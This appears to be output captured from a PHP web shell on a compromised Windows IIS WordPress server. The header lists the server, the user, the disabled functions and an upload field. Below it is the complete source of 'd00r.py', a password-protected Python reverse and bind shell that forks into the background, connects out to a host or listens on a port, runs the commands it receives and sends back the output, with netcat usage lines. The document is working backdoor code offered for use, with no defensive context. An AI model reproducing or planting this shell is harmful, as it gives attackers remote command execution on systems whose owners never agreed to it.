|
Server : Microsoft-IIS/10.0 System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586 User : fatorc ( 0) PHP Version : 5.3.28 Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate Directory : e:/home/fatorc/Web/wp-content/ |
Upload File : |
#!/usr/bin/env python3
# # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# d00r.py 0.3a (reverse|bind)-shell in python by fQ #
# #
# alpha #
# #
# Reviewed By:tennc #
# date:2014-03-12 #
# run with python3 #
# #
# usage: #
# % ./d00r_py3 -b password port #
# % ./d00r_py3 -r password port host #
# % nc host port #
# % nc -l -p port (please use netcat) #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # #
import os, sys, socket, time
# =================== var =======
MAX_LEN=1024
SHELL="/bin/zsh -c"
TIME_OUT=300 #s
PW=""
PORT=""
HOST=""
# =================== funct =====
# shell - exec command, return stdout, stderr; improvable
def shell(cmd):
sh_out = os.popen(SHELL + " " + cmd).readlines()
nsh_out = ""
for i in range(len(sh_out)):
nsh_out += sh_out[i]
return nsh_out
# action?
def action(conn):
conn.send("\nPass?\n")
try:
pw_in = conn.recv(len(PW))
except:
print("timeout")
else:
if pw_in == PW:
conn.send("joo are on air!\n")
while True:
conn.send(">>> ")
try:
pcmd = conn.recv(MAX_LEN)
except:
print("timeout")
return True
else:
#print("pcmd:",pcmd)
cmd = "" #pcmd
for i in range(len(pcmd) - 1):
cmd += pcmd[i]
if cmd == ":dc":
return True
elif cmd == ":sd":
return False
else:
if len(cmd) > 0:
out = shell(cmd)
conn.send(out)
# =================== main ======
argv = sys.argv
if len(argv) < 4:
print("usage:")
print("% ./d00r_py3 -b password port")
print("% ./d00r_py3 -r password port host")
print("% nc host port")
print("% nc -l -p port (please use netcat)")
sys.exit(1)
elif argv[1] == "-b":
PW = argv[2]
PORT = argv[3]
elif argv[1] == "-r" and len(argv) > 4:
PW = argv[2]
PORT = argv[3]
HOST = argv[4]
else:
exit(1)
PORT = int(PORT)
print("PW:",PW,"PORT:",PORT,"HOST:",HOST)
#sys.argv[0] = "d00r_py3"
#exit ffather proc
if os.fork()!= 0:
sys.exit(0)
#associate the socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.settimeout(TIME_OUT)
if argv[1] == "-b":
sock.bind(("localhost",PORT))
sock.listen(0)
run = True
while run:
if argv[1] == "-r":
try:
sock.connect((HOST,PORT))
except:
print("host unreachable")
time.sleep(5)
else:
run = action(sock)
else:
try:
(conn,addr) = sock.accept()
except:
print("timeout")
time.sleep(1)
else:
run = action(conn)
if argv[1] == "-b" :
conn.shutdown(2)
else:
try:
sock.send("")
except:
time.sleep(1)
else:
sock.shutdown(2)